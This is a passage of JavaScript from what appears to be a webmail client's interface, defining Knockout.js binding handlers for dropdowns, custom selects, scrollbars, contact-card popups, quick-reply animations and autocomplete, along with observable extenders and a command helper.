  				$(oElement).attr('title', sValue);
  				break;
  			case 'placeholder':
  				$(oElement).attr({'placeholder': sValue});
  				break;
  			}
  		}
  	}
  };
  
  ko.bindingHandlers.link = {
  	'init': function (oElement, fValueAccessor) {
  		$(oElement).attr('href', ko.utils.unwrapObservable(fValueAccessor()));
  	}
  };
  
  ko.bindingHandlers.title = {
  	'init': function (oElement, fValueAccessor) {
  		$(oElement).attr('title', ko.utils.unwrapObservable(fValueAccessor()));
  	},
  	'update': function (oElement, fValueAccessor) {
  		$(oElement).attr('title', ko.utils.unwrapObservable(fValueAccessor()));
  	}
  };
  
  ko.bindingHandlers.initDom = {
  	'init': function (oElement, fValueAccessor) {
  		if (fValueAccessor()) {
  			if (_.isArray(fValueAccessor()))
  			{
  				var
  					aList = fValueAccessor(),
  					iIndex = aList.length - 1
  				;
  
  				for (; 0 <= iIndex; iIndex--)
  				{
  					aList[iIndex]($(oElement));
  				}
  			}
  			else
  			{
  				fValueAccessor()($(oElement));
  			}
  		}
  	}
  };
  
  ko.bindingHandlers.customScrollbar = {
  	'init': bMobileApp ? null : function (oElement, fValueAccessor, fAllBindingsAccessor, oViewModel) {
  		if (bMobileDevice)
  		{
  			return;
  		}
  
  		var
  			jqElement = $(oElement),
  			oCommand = _.defaults(fValueAccessor(), {
  				'oScroll' : null,
  				'scrollToTopTrigger': null,
  				'scrollToBottomTrigger': null,
  				'scrollTo': null
  
  			}),
  			oScroll = null
  		;
  
  		/*_.delay(_.bind(function () {
  			var jqCustomScrollbar = jqElement.find('.customscroll-scrollbar-vertical');
  
  			jqCustomScrollbar.on('click', function (oEv) {
  				oEv.stopPropagation();
  			});
  		}, this), 1000);*/
  
  
  
  		oCommand = /** @type {{scrollToTopTrigger:{subscribe:Function},scrollToBottomTrigger:{subscribe:Function},scrollTo:{subscribe:Function},reset:Function}}*/ oCommand;
  
  		jqElement.addClass('scroll-wrap').customscroll(oCommand);
  		oScroll = jqElement.data('customscroll');
  
  		if (oCommand['oScroll'] && Utils.isFunc(oCommand['oScroll'].subscribe)) {		
  			oCommand['oScroll'](oScroll);
  		} else {
  			oCommand['oScroll'] = oScroll;
  		}
  
  		if (!Utils.isUnd(oCommand.reset)) {
  			oElement._customscroll_reset = _.throttle(function () {
  				oScroll.reset();
  			}, 100);
  		}
  		
  		if (oCommand['scrollToTopTrigger'] && Utils.isFunc(oCommand.scrollToTopTrigger.subscribe)) {
  			oCommand.scrollToTopTrigger.subscribe(function () {
  				if (oScroll) {
  					oScroll['scrollToTop']();
  				}
  			});
  		}
  		
  		if (oCommand['scrollToBottomTrigger'] && Utils.isFunc(oCommand.scrollToBottomTrigger.subscribe)) {
  			oCommand.scrollToBottomTrigger.subscribe(function () {
  				if (oScroll) {
  					oScroll['scrollToBottom']();
  				}
  			});
  		}
  
  		if (oCommand['scrollTo'] && Utils.isFunc(oCommand.scrollTo.subscribe)) {
  			oCommand.scrollTo.subscribe(function () {
  				if (oScroll) {
  					oScroll['scrollTo'](oCommand.scrollTo());
  				}
  			});
  		}
  	},
  	
  	'update': bMobileApp ? null : function (oElement, fValueAccessor, fAllBindingsAccessor, oViewModel, bindingContext) {
  		if (bMobileDevice)
  		{
  			return;
  		}
  		if (oElement._customscroll_reset) {
  			oElement._customscroll_reset();
  		}
  		if (!Utils.isUnd(fValueAccessor().top)) {
  
  			$(oElement).data('customscroll')['vertical'].set(fValueAccessor().top);
  		}
  	}
  };
  
  /*jslint vars: true*/
  ko.bindingHandlers.customOptions = {
  	'init': function () {
  		return {
  			'controlsDescendantBindings': true
  		};
  	},
  
  	'update': function (element, valueAccessor, allBindingsAccessor, viewModel, bindingContext) {
  		var i = 0, j = 0;
  		var previousSelectedValues = ko.utils.arrayMap(ko.utils.arrayFilter(element.childNodes, function (node) {
  			return node.tagName && node.tagName === 'OPTION' && node.selected;
  		}), function (node) {
  			return ko.selectExtensions.readValue(node) || node.innerText || node.textContent;
  		});
  		var previousScrollTop = element.scrollTop;
  		var value = ko.utils.unwrapObservable(valueAccessor());
  
  		// Remove all existing <option>s.
  		while (element.length > 0)
  		{
  			ko.cleanNode(element.options[0]);
  			element.remove(0);
  		}
  
  		if (value)
  		{
  			if (typeof value.length !== 'number')
  			{
  				value = [value];
  			}
  
  			var optionsBind = allBindingsAccessor()['optionsBind'];
  			for (i = 0, j = value.length; i < j; i++)
  			{
  				var option = document.createElement('OPTION');
  				var optionValue = ko.utils.unwrapObservable(value[i]);
  				ko.selectExtensions.writeValue(option, optionValue);
  				option.appendChild(document.createTextNode(optionValue));
  				element.appendChild(option);
  				if (optionsBind)
  				{
  					option.setAttribute('data-bind', optionsBind);
  					ko.applyBindings(bindingContext['createChildContext'](optionValue), option);
  				}
  			}
  
  			var newOptions = element.getElementsByTagName('OPTION');
  			var countSelectionsRetained = 0;
  			var isIe = navigator.userAgent.indexOf("MSIE 6") >= 0;
  			for (i = 0, j = newOptions.length; i < j; i++)
  			{
  				if (ko.utils.arrayIndexOf(previousSelectedValues, ko.selectExtensions.readValue(newOptions[i])) >= 0)
  				{
  					if (isIe) {
  						newOptions[i].setAttribute("selected", true);
  					} else {
  						newOptions[i].selected = true;
  					}
  
  					countSelectionsRetained++;
  				}
  			}
  
  			element.scrollTop = previousScrollTop;
  
  			if (countSelectionsRetained < previousSelectedValues.length)
  			{
  				ko.utils.triggerEvent(element, 'change');
  			}
  		}
  	}
  };
  /*jslint vars: false*/
  
  ko.bindingHandlers.splitter = {
  	'init': bMobileApp ? null : function (oElement, fValueAccessor) {
  		setTimeout(function() {
  			$(oElement).splitter(fValueAccessor());
  		}, 1);
  	}
  };
  
  ko.bindingHandlers.dropdown = {
  	'update': function (oElement, fValueAccessor, fAllBindingsAccessor, oViewModel) {
  		var
  			jqElement = $(oElement),
  			oCommand = _.defaults(
  				fValueAccessor(), {
  					'disabled': 'disabled',
  					'expand': 'expand',
  					'control': true,
  					'container': '.dropdown_content',
  					'scrollToTopContainer': '.scroll-inner',
  					'passClick': true,
  					'trueValue': true
  				}
  			),
  			bControl = typeof oCommand['control'] === 'function' ? oCommand['control']() : oCommand['control'],
  			jqControl = jqElement.find('.control'),
  			jqDrop = jqElement.find('.dropdown'),
  			jqDropHelper = jqElement.find('.dropdown_helper'),
  			jqDropArrow = jqElement.find('.dropdown_arrow'),
  			jqDropBottomArrow = jqElement.find('.dropdown_arrow.bottom'),
  			oDocument = $(document),
  			bScrollBar = false,
  			oOffset,
  			iLeft,
  			iFitToScreenOffset,
  			fCallback = function () {
  				if (!Utils.isUnd(oCommand['callback']))
  				{
  					oCommand['callback'].call(
  						oViewModel,
  						jqElement.hasClass(oCommand['expand']) ? oCommand['trueValue'] : false,
  						jqElement
  					);
  				}
  			},
  			fStop = function (event) {
  				event.stopPropagation();
  			},
  			fScrollToTop = function () {
  				if (oCommand['scrollToTopContainer'])
  				{
  					jqElement.find(oCommand['scrollToTopContainer']).scrollTop(0);
  				}
  			},
  			fToggleExpand = function (bValue) {
  				if (Utils.isUnd(bValue))
  				{
  					bValue = !jqElement.hasClass(oCommand['expand']);
  				}
  
  				if (!bValue && jqElement.hasClass(oCommand['expand']))
  				{
  					fScrollToTop();
  				}
  
  				jqElement.toggleClass(oCommand['expand'], bValue);
  				
  				if (jqDropBottomArrow.length > 0 && jqElement.hasClass(oCommand['expand']))
  				{
  					jqDrop.css({
  						'top': (jqElement.position().top - jqDropHelper.height()) + 'px',
  						'left': jqElement.position().left + 'px',
  						'width': 'auto'
  					});
  				}
  			},
  			fFitToScreen = function (iOffsetLeft) {
  				oOffset = jqDropHelper.offset();
  				if (!Utils.isUnd(oOffset))
  				{
  					iLeft = oOffset.left + 10;
  					iFitToScreenOffset = $(window).width() - (iLeft + jqDropHelper.outerWidth(true));
  
  					if (iFitToScreenOffset > 0)
  					{
  						iFitToScreenOffset = 0;
  					}
  
  					jqDropHelper.css('left', iOffsetLeft || iFitToScreenOffset + 'px');
  					jqDropArrow.css('left', iOffsetLeft || Math.abs(iFitToScreenOffset ? iFitToScreenOffset + parseInt(jqDropArrow.css('margin-left')) : 0) + 'px');
  				}
  			},
  			fControlClick = function (oEv) {
  				var
  					jqDropdownParent = $(oEv.originalEvent.originalTarget).parents('.dropdown'),
  					bHasDropdownParent = jqDropdownParent.length > 0
  				;
  				
  				if (!bHasDropdownParent && !jqElement.hasClass(oCommand['disabled']) && !bScrollBar)
  				{
  
  					fToggleExpand();
  
  					_.defer(function(){
  						fCallback();
  					});
  
  					if (jqElement.hasClass(oCommand['expand']))
  					{
  
  						if (oCommand['close'] && oCommand['close']['subscribe'])
  						{
  							oCommand['close'](true);
  						}
  						
  						_.defer(function () {
  							oDocument.on('click.dropdown', function (ev) {
  								if((oCommand['passClick'] || ev.button !== Enums.MouseKey.Right) && !bScrollBar)
  								{
  									oDocument.unbind('click.dropdown');
  									if (oCommand['close'] && oCommand['close']['subscribe'])
  									{
  										oCommand['close'](false);
  									}
  
  									fToggleExpand(false);
  
  									fCallback();
  									fFitToScreen(0);
  								}
  								bScrollBar = false;
  							});
  						});
  
  						fFitToScreen();
  					}
  				}
  			}
  		;
  		
  		jqElement.off();
  		jqControl.off();
  		
  		if (!oCommand['passClick'])
  		{
  			jqElement.find(oCommand['container']).on('click', fStop);
  			jqElement.on('click', fStop);
  			jqControl.on('click', fStop);
  		}
  
  		fToggleExpand(false);
  		
  		if (oCommand['close'] && oCommand['close']['subscribe'])
  		{
  			oCommand['close'].subscribe(function (bValue) {
  				if (!bValue)
  				{
  					oDocument.unbind('click.dropdown');
  					fToggleExpand(false);
  				}
  
  				fCallback();
  			});
  		}
  
  		jqElement.on('mousedown', function (oEv, oEl) {
  			bScrollBar = ($(oEv.target).hasClass('customscroll-scrollbar') || $(oEv.target.parentElement).hasClass('customscroll-scrollbar'));
  		});
  
  		jqElement.on('click', function (oEv) {
  			if (!bControl)
  			{
  				fControlClick(oEv);
  			}
  		});
  		jqControl.on('click', function (oEv) {
  			if (bControl)
  			{
  				fControlClick(oEv);
  			}
  		});
  	}
  };
  
  ko.bindingHandlers.customSelect = {
  	'init': function (oElement, fValueAccessor, fAllBindingsAccessor, oViewModel) {
  		var
  			jqElement = $(oElement),
  			oCommand = _.defaults(
  				fValueAccessor(), {
  					'disabled': 'disabled',
  					'selected': 'selected',
  					'expand': 'expand',
  					'control': true,
  					'input': false,
  					'expandState': function () {}
  				}
  			),
  			aOptions = [],
  			oControl = oCommand['control'] ? jqElement.find('.control') : jqElement,
  			oContainer = jqElement.find('.dropdown_content'),
  			oText = jqElement.find('.link'),
  
  			updateField = function (value) {
  				_.each(aOptions, function (item) {
  					item.removeClass(oCommand['selected']);
  				});
  				var item = _.find(oCommand['options'], function (item) {
  					return item[oCommand['optionsValue']] === value;
  				});
  				if (Utils.isUnd(item)) {
  					item = oCommand['options'][0];
  				}
  				else
  				{
  					aOptions[_.indexOf(oCommand['options'], item)].addClass(oCommand['selected']);
  					oText.text($.trim(item[oCommand['optionsText']]));
  				}
  
  //				aOptions[_.indexOf(oCommand['options'], item)].addClass(oCommand['selected']);
  //				oText.text($.trim(item[oCommand['optionsText']]));
  
  				return item[oCommand['optionsValue']];
  			},
  			updateList = function (aList) {
  				oContainer.empty();
  				aOptions = [];
  
  				_.each(aList ? aList : oCommand['options'], function (item) {
  					var
  						oOption = $('<span class="item"></span>')
  							.text(item[oCommand['optionsText']])
  							.data('value', item[oCommand['optionsValue']]),
  						isDisabled = item['isDisabled']
  						;
  
  					if (isDisabled)
  					{
  						oOption.data('isDisabled', isDisabled).addClass('disabled');
  					}
  					else
  					{
  						oOption.data('isDisabled', isDisabled).removeClass('disabled');
  					}
  
  					aOptions.push(oOption);
  					oContainer.append(oOption);
  				}, this);
  			}
  		;
  
  		updateList();
  
  		oContainer.on('click', '.item', function () {
  			var jqItem = $(this);
  
  			if(!jqItem.data('isDisabled'))
  			{
  				oCommand.value(jqItem.data('value'));
  			}
  		});
  
  		if (!oCommand.input && oCommand['value'] && oCommand['value'].subscribe)
  		{
  			oCommand['value'].subscribe(function () {
  				var mValue = updateField(oCommand['value']());
  				if (oCommand['value']() !== mValue)
  				{
  					oCommand['value'](mValue);
  				}
  			}, oViewModel);
  
  			oCommand['value'].valueHasMutated();
  		}
  
  		if (oCommand.input && oCommand['value'] && oCommand['value'].subscribe)
  		{
  			oCommand['value'].subscribe(function () {
  				updateField(oCommand['value']());
  			}, oViewModel);
  
  			oCommand['value'].valueHasMutated();
  		}
  		
  		if (oCommand.input && oCommand['value'] && oCommand['value'].subscribe)
  		{
  			oCommand['value'].subscribe(function () {
  				updateField(oCommand['value']());
  			}, oViewModel);
  
  			oCommand['value'].valueHasMutated();
  		}
  
  		if(oCommand.alarmOptions)
  		{
  			oCommand.alarmOptions.subscribe(function () {
  				updateList();
  			}, oViewModel);
  		}
  		if(oCommand.timeOptions)
  		{
  			oCommand.timeOptions.subscribe(function (aList) {
  				updateList(aList);
  			}, oViewModel);
  		}
  
  		//TODO fix data-bind click
  		jqElement.removeClass(oCommand['expand']);
  		oControl.click(function(ev){
  			if (!jqElement.hasClass(oCommand['disabled'])) {
  				jqElement.toggleClass(oCommand['expand']);
  				oCommand['expandState'](jqElement.hasClass(oCommand['expand']));
  
  				if (jqElement.hasClass(oCommand['expand'])) {
  					var	jqContent = jqElement.find('.dropdown_content'),
  						jqSelected = jqContent.find('.selected');
  
  					if (jqSelected.position()) {
  						jqContent.scrollTop(0);// need for proper calculation position().top
  						jqContent.scrollTop(jqSelected.position().top - 100);// 100 - hardcoded indent to the element in pixels
  					}
  
  					_.defer(function(){
  						$(document).one('click', function () {
  							jqElement.removeClass(oCommand['expand']);
  							oCommand['expandState'](false);
  						});
  					});
  				}
  				/*else
  				{
  					jqElement.addClass(oCommand['expand']);
  				}*/
  			}
  		});
  	}
  };
  
  ko.bindingHandlers.moveToFolderFilter = {
  
  	'init': function (oElement, fValueAccessor, allBindingsAccessor, viewModel, bindingContext) {
  		var
  			jqElement = $(oElement),
  			oCommand = fValueAccessor(),
  			jqContainer = $(oElement).find(oCommand['container']),
  			aOptions = _.isArray(oCommand['options']) ? oCommand['options'] : oCommand['options'](),
  			sFolderName = oCommand['value'] ? oCommand['value']() : '',
  			oFolderOption = _.find(aOptions, function (oOption) {
  				return oOption[oCommand['optionsValue']] === sFolderName;
  			})
  		;
  
  		if (!oFolderOption)
  		{
  			sFolderName = '';
  			oCommand['value']('');
  		}
  
  		jqElement.removeClass('expand');
  		
  		jqContainer.empty();
  
  		_.each(aOptions, function (oOption) {
  			var jqOption = $('<span class="item"></span>')
  				.text(oOption[oCommand['optionsText']])
  				.data('value', oOption[oCommand['optionsValue']]);
  
  			if (sFolderName === oOption[oCommand['optionsValue']])
  			{
  				jqOption.addClass('selected');
  			}
  			
  			oOption['jq'] = jqOption;
  			
  			jqContainer.append(jqOption);
  		});
  		
  		jqContainer.on('click', '.item', function () {
  			var sFolderName = $(this).data('value');
  			oCommand['value'](sFolderName);
  		});
  
  		jqElement.click(function () {
  			jqElement.toggleClass('expand');
  
  			if (jqElement.hasClass('expand'))
  			{
  				_.defer(function () {
  					$(document).one('click', function () {
  						jqElement.removeClass('expand');
  					});
  				});
  			}
  		});
  	},
  	'update': function (oElement, fValueAccessor) {
  		var
  			jqElement = $(oElement),
  			oCommand = fValueAccessor(),
  			aOptions = _.isArray(oCommand['options']) ? oCommand['options'] : oCommand['options'](),
  			sFolderName = oCommand['value'] ? oCommand['value']() : '',
  			oFolderOption = _.find(aOptions, function (oOption) {
  				return oOption[oCommand['optionsValue']] === sFolderName;
  			}),
  			jqText = jqElement.find('.link')
  		;
  		
  		_.each(aOptions, function (oOption) {
  			if (oOption['jq'])
  			{
  				oOption['jq'].toggleClass('selected', sFolderName === oOption[oCommand['optionsValue']]);
  			}
  		});
  		
  		if (oFolderOption)
  		{
  			jqText.text($.trim(oFolderOption[oCommand['optionsText']]));
  		}
  	}
  };
  
  ko.bindingHandlers.contactCardInMessage = {
  	'update': (bMobileApp || bMobileDevice) ? null : function (oElement, fValueAccessor, fAllBindingsAccessor, oViewModel) {
  		var
  			jqElement = $(oElement),
  			oCommand = fValueAccessor(),
  			sAddress = oCommand.address,
  			jqPopup = $('div.item_viewer[data-email=\'' + sAddress + '\']'),
  			bPopupOpened = false,
  			iCloseTimeoutId = 0,
  			fOpenPopup = function () {
  				if (jqPopup && jqElement)
  				{
  					bPopupOpened = true;
  					clearTimeout(iCloseTimeoutId);
  					setTimeout(function () {
  						var	oOffset = jqElement.offset(),
  							iLeft, iTop, iFitToScreenOffset;
  						if (bPopupOpened && oOffset.left + oOffset.top !== 0)
  						{
  							iLeft = oOffset.left + 10;
  							iTop = oOffset.top + jqElement.height() + 6;
  							iFitToScreenOffset = $(window).width() - (iLeft + 396); //396 - popup outer width
  
  							if (iFitToScreenOffset > 0) {
  								iFitToScreenOffset = 0;
  							}
  							jqPopup.addClass('expand').offset({'top': iTop, 'left': iLeft + iFitToScreenOffset});
  						}
  					}, 180);
  				}
  			},
  			fClosePopup = function () {
  				if (bPopupOpened && jqPopup && jqElement)
  				{
  					bPopupOpened = false;
  					iCloseTimeoutId = setTimeout(function () {
  						if (!bPopupOpened)
  						{
  							jqPopup.removeClass('expand');
  						}
  					}, 200);
  				}
  			}
  		;
  		
  		if (jqPopup.length > 0)
  		{
  			jqElement
  				.off()
  				.on('mouseover', function () {
  					jqPopup
  						.off()
  						.on('mouseenter', fOpenPopup)
  						.on('mouseleave', fClosePopup)
  						.find('.link, .button')
  						.off('.links')
  						.on('click.links', function () {
  							bPopupOpened = false;
  							jqPopup.removeClass('expand');
  						})
  					;
  
  					setTimeout(function () {
  						jqPopup
  							.find('.link, .button')
  							.off('click.links')
  							.on('click.links', function () {
  								bPopupOpened = false;
  								jqPopup.removeClass('expand');
  							});
  					}.bind(this), 100);
  
  					fOpenPopup();
  				})
  				.on('mouseout', fClosePopup)
  			;
  
  			bPopupOpened = false;
  			jqPopup.removeClass('expand');
  		}
  		else
  		{
  			jqElement.off();
  		}
  	}
  };
  
  ko.bindingHandlers.contactcard = {
  	'init': (bMobileApp || bMobileDevice) ? null : function (oElement, fValueAccessor, fAllBindingsAccessor, oViewModel) {
  		var
  			jqElement = $(oElement),
  			bShown = false,
  			oCommand = _.defaults(
  				fValueAccessor(), {
  					'disabled': 'disabled',
  					'expand': 'expand',
  					'control': true
  				}
  			),
  			element = oCommand['control'] ? jqElement.find('.control') : jqElement
  		;
  
  		if (oCommand['trigger'] !== undefined && oCommand['trigger'].subscribe !== undefined) {
  			
  			jqElement.removeClass(oCommand['expand']);
  			
  			element.bind({
  				'mouseover': function() {
  					if (!jqElement.hasClass(oCommand['disabled']) && oCommand['trigger']()) {
  						bShown = true;
  						_.delay(function () {
  							if (bShown) {
  								if (oCommand['controlWidth'] !== undefined && oCommand['controlWidth'].subscribe !== undefined) {
  									oCommand['controlWidth'](element.width());
  								}
  								jqElement.addClass(oCommand['expand']);
  							}
  						}, 200);
  					}
  				},
  				'mouseout': function() {
  					if (oCommand['trigger']()) {
  						bShown = false;
  						_.delay(function () {
  							if (!bShown) {
  								jqElement.removeClass(oCommand['expand']);
  							}
  						}, 200);
  					}
  				}
  			});
  		}
  	}
  };
  
  ko.bindingHandlers.checkmail = {
  	'update': function (oElement, fValueAccessor, fAllBindingsAccessor, oViewModel, bindingContext) {
  			
  		var
  			oOptions = oElement.oOptions || null,
  			jqElement = oElement.jqElement || null,
  			oIconIE = oElement.oIconIE || null,
  			values = fValueAccessor(),
  			state = values.state
  		;
  
  		if (values.state !== undefined) {
  			if (!jqElement)
  			{
  				oElement.jqElement = jqElement = $(oElement);
  			}
  
  			if (!oOptions)
  			{
  				oElement.oOptions = oOptions = _.defaults(
  					values, {
  						'activeClass': 'process',
  						'duration': 800
  					}
  				);
  			}
  
  			Utils.deferredUpdate(jqElement, state, oOptions['duration'], function(element, state){
  				if (App.browser.ie9AndBelow)
  				{
  					if (!oIconIE)
  					{
  						oElement.oIconIE = oIconIE = jqElement.find('.icon');
  					}
  
  					if (!oIconIE.__intervalIE && !!state)
  					{
  						var
  							i = 0,
  							style = ''
  						;
  
  						oIconIE.__intervalIE = setInterval(function() {
  							style = '0px -' + (20 * i) + 'px';
  							i = i < 7 ? i + 1 : 0;
  							oIconIE.css({'background-position': style});
  						} , 1000/12);
  					}
  					else
  					{
  						oIconIE.css({'background-position': '0px 0px'});
  						clearInterval(oIconIE.__intervalIE);
  						oIconIE.__intervalIE = null;
  					}
  				}
  				else
  				{
  					element.toggleClass(oOptions['activeClass'], state);
  				}
  			});
  		}
  	}
  };
  
  ko.bindingHandlers.heightAdjust = {
  	'update': function (oElement, fValueAccessor, fAllBindingsAccessor) {
  		
  		var 
  			jqElement = oElement.jqElement || null,
  			height = 0,
  			sLocation = fValueAccessor().location,
  			sDelay = fValueAccessor().delay || 400
  		;
  		
  		if (!jqElement) {
  			oElement.jqElement = jqElement = $(oElement);
  		}
  		_.delay(function () {
  			_.each(fValueAccessor().elements, function (mItem) {
  				
  				var element = mItem();
  				if (element) {
  					height += element.is(':visible') ? element.outerHeight() : 0;
  				}
  			});
  			
  			if (sLocation === 'top' || sLocation === undefined) {
  				jqElement.css({
  					'padding-top': height,
  					'margin-top': -height
  				});
  			} else if (sLocation === 'bottom') {
  				jqElement.css({
  					'padding-bottom': height,
  					'margin-bottom': -height
  				});
  			}
  		}, sDelay);
  	}
  };
  
  ko.bindingHandlers.minHeightAdjust = {
  	'update': function (oElement, fValueAccessor, fAllBindingsAccessor) {
  
  		var
  			jqEl = $(oElement),
  			oOptions = fValueAccessor(),
  			jqAdjustEl = oOptions.adjustElement || $('body'),
  			iMinHeight = oOptions.minHeight || 0
  		;
  		
  		if (oOptions.removeTrigger)
  		{
  			jqAdjustEl.css('min-height', 'inherit');
  		}
  		
  		if (oOptions.trigger)
  		{
  			_.delay(function () {
  				jqAdjustEl.css({'min-height': jqEl.outerHeight(true) + iMinHeight});
  			}, 100);
  		}
  	}
  };
  
  ko.bindingHandlers.watchWidth = {
  	'init': function (oElement, fValueAccessor) {
  		var isTriggered = false;
  
  		if (!isTriggered) {
  			fValueAccessor().subscribe(function () {
  				fValueAccessor()($(oElement).outerWidth());
  				isTriggered = true;
  			}, this);
  		}
  	}
  };
  
  ko.bindingHandlers.columnCalc = {
  	'init': function (oElement, fValueAccessor) {
  
  		var
  			$oElement = $(oElement),
  			oProp = fValueAccessor()['prop'],
  			$oItem = null,
  			iWidth = 0
  		;
  			
  		$oItem = $oElement.find(fValueAccessor()['itemSelector']);
  
  		if ($oItem[0] === undefined) {
  			return;
  		}
  		
  		iWidth = $oItem.outerWidth(true);
  		iWidth = 1 >= iWidth ? 1 : iWidth;
  		
  		if (oProp)
  		{
  			$(window).bind('resize', function () {
  				var iW = $oElement.width();
  				oProp(0 < iW ? Math.floor(iW / iWidth) : 1);
  			});
  		}
  	}
  };
  
  ko.bindingHandlers.listWithMoreButton = {
  	'init': function (oElement, fValueAccessor) {
  
  		var
  			$Element = $(oElement),
  			skipOneResize = false //for some flicker at slow resize (does not solve the problem completely TODO)
  		;
  
  		$Element.closest('div.panel.left_panel').resize(function () {
  			
  			var
  				$ItemsVisible = $Element.find('span.hotkey'),
  				$ItemsHidden = $Element.find('span.item'),
  				$MoreHints = $Element.find('span.more_hints').show(),
  				iElementWidth = $Element.width(),
  				iMoreWidth = $MoreHints.width(),
  				bHideMoreHints = true
  			;
  
  			if (!skipOneResize) {
  				_.each($ItemsVisible, function (oItem, index) {
  
  					var
  						$Item = $(oItem),
  						iItemWidth = $Item.width()
  					;
  
  					if (bHideMoreHints && iMoreWidth + iItemWidth < iElementWidth) {
  						skipOneResize = false;
  						$Item.show();
  						$($ItemsHidden[index]).hide();
  						iMoreWidth += iItemWidth;
  					}
  					else
  					{
  						skipOneResize = true;
  						bHideMoreHints = false;
  						$Item.hide();
  						$($ItemsHidden[index]).show();
  					}
  				});
  
  				if (bHideMoreHints)
  				{
  					$MoreHints.hide();
  				}
  			}
  			else
  			{
  				skipOneResize = false;
  			}
  		});
  	}
  };
  
  ko.bindingHandlers.quickReplyAnim = {
  	'update': bMobileApp ? null : function (oElement, fValueAccessor, fAllBindingsAccessor, oViewModel, bindingContext) {
  
  		var
  			jqTextarea = oElement.jqTextarea || null,
  			jqStatus = oElement.jqStatus || null,
  			jqButtons = oElement.jqButtons || null,
  			jqElement = oElement.jqElement || null,
  			oPrevActions = oElement.oPrevActions || null,
  			values = fValueAccessor(),
  			oActions = null
  		;
  
  		oActions = _.defaults(
  			values, {
  				'saveAction': false,
  				'sendAction': false,
  				'activeAction': false
  			}
  		);
  
  		if (!jqElement)
  		{
  			oElement.jqElement = jqElement = $(oElement);
  			oElement.jqTextarea = jqTextarea = jqElement.find('textarea');
  			oElement.jqStatus = jqStatus = jqElement.find('.status');
  			oElement.jqButtons = jqButtons = jqElement.find('.buttons');
  			
  			oElement.oPrevActions = oPrevActions = {
  				'saveAction': null,
  				'sendAction': null,
  				'activeAction': null
  			};
  		}
  
  		if (true || jqElement.is(':visible'))
  		{
  			if (App.browser.ie9AndBelow)
  			{
  				if (jqTextarea && !jqElement.defualtHeight && !jqTextarea.defualtHeight)
  				{
  					jqElement.defualtHeight = jqElement.outerHeight();
  					jqTextarea.defualtHeight = jqTextarea.outerHeight();
  					jqStatus.defualtHeight = jqButtons.outerHeight();
  					jqButtons.defualtHeight = jqButtons.outerHeight();
  				}
  
  				_.defer(function () {
  					var 
  						activeChanged = oPrevActions.activeAction !== oActions['activeAction'],
  						sendChanged = oPrevActions.sendAction !== oActions['sendAction'],
  						saveChanged = oPrevActions.saveAction !== oActions['saveAction']
  					;
  
  					if (activeChanged)
  					{
  						if (oActions['activeAction'])
  						{
  							jqTextarea.animate({
  								'height': jqTextarea.defualtHeight + 50
  							}, 300);
  							jqElement.animate({
  								'max-height': jqElement.defualtHeight + jqButtons.defualtHeight + 50
  							}, 300);
  						}
  						else
  						{
  							jqTextarea.animate({
  								'height': jqTextarea.defualtHeight
  							}, 300);
  							jqElement.animate({
  								'max-height': jqElement.defualtHeight
  							}, 300);
  						}
  					}
  
  					if (sendChanged || saveChanged)
  					{
  						if (oActions['sendAction'])
  						{
  							jqElement.animate({
  								'max-height': '30px'
  							}, 300);
  							jqStatus.animate({
  								'max-height': '30px',
  								'opacity': 1
  							}, 300);
  						}
  						else if (oActions['saveAction'])
  						{
  							jqElement.animate({
  								'max-height': 0
  							}, 300);
  						}
  						else
  						{
  							jqElement.animate({
  								'max-height': jqElement.defualtHeight + jqButtons.defualtHeight + 50
  							}, 300);
  							jqStatus.animate({
  								'max-height': 0,
  								'opacity': 0
  							}, 300);
  						}
  					}
  				});
  			}
  			else
  			{
  				jqElement.toggleClass('saving', oActions['saveAction']);
  				jqElement.toggleClass('sending', oActions['sendAction']);
  				jqElement.toggleClass('active', oActions['activeAction']);
  			}
  		}
  
  		_.defer(function () {
  			oPrevActions = oActions;
  		});
  	}
  };
  
  ko.extenders.reversible = function (oTarget)
  {
  	var mValue = oTarget();
  
  	oTarget.commit = function ()
  	{
  		mValue = oTarget();
  	};
  
  	oTarget.revert = function ()
  	{
  		oTarget(mValue);
  	};
  
  	oTarget.commitedValue = function ()
  	{
  		return mValue;
  	};
  
  	oTarget.changed = function ()
  	{
  		return mValue !== oTarget();
  	};
  	
  	return oTarget;
  };
  
  ko.extenders.autoResetToFalse = function (oTarget, iOption)
  {
  	oTarget.iTimeout = 0;
  	oTarget.subscribe(function (bValue) {
  		if (bValue)
  		{
  			window.clearTimeout(oTarget.iTimeout);
  			oTarget.iTimeout = window.setTimeout(function () {
  				oTarget.iTimeout = 0;
  				oTarget(false);
  			}, Utils.pInt(iOption));
  		}
  	});
  
  	return oTarget;
  };
  
  /**
   * @param {(Object|null|undefined)} oContext
   * @param {Function} fExecute
   * @param {(Function|boolean|null)=} fCanExecute
   * @return {Function}
   */
  Utils.createCommand = function (oContext, fExecute, fCanExecute)
  {
  	var
  		fResult = fExecute ? function () {
  			if (fResult.canExecute && fResult.canExecute())
  			{
  				return fExecute.apply(oContext, Array.prototype.slice.call(arguments));
  			}
  			return false;
  		} : function () {}
  	;
  
  	fResult.enabled = ko.observable(true);
  
  	fCanExecute = Utils.isUnd(fCanExecute) ? true : fCanExecute;
  	if (Utils.isFunc(fCanExecute))
  	{
  		fResult.canExecute = ko.computed(function () {
  			return fResult.enabled() && fCanExecute.call(oContext);
  		});
  	}
  	else
  	{
  		fResult.canExecute = ko.computed(function () {
  			return fResult.enabled() && !!fCanExecute;
  		});
  	}
  
  	return fResult;
  };
  
  ko.bindingHandlers.autocomplete = {
  	'init': function (oElement, fValueAccessor) {
  
  		function split(val)
  		{
  			return val.split(/,\s*/);
  		}
  
  		function extractLast(term)
  		{
  			return split(term).pop();
  		}
  
  		var 
  			fCallback = fValueAccessor(),
  			jqEl = $(oElement)
  		;
  
  		if (fCallback && jqEl && jqEl[0])
  		{
  			jqEl.autocomplete({
  				'minLength': 0,
  				'autoFocus': true,
  				'source': function (request, response) {
  					fCallback(extractLast(request['term']), response);
  				},
  				'search': function () {
  					return extractLast(this.value).length > 0;
  				},
  				'focus': function () {
  					return false;
  				},
  				'select': function (event, ui) {
  					var terms = split(this.value), moveCursorToEnd = null;
  
  					terms.pop();
  					terms.push(ui['item']['value']);
  					terms.push('');
  
  					this.value = terms.join(', ').slice(0, -2);
  
  					jqEl.trigger('change');
  
  					// Move to the end of the input string
  					moveCursorToEnd = function(el) {
  						var endIndex = el.value.length;
  
  						//Chrome
  						el.blur();
  						el.focus();
  						//IE, firefox and Opera
  						if (el.setSelectionRange) {
  							el.setSelectionRange(endIndex, endIndex);
  						}
  					};
  					moveCursorToEnd(jqEl[0]);
  
  					return false;
  				}
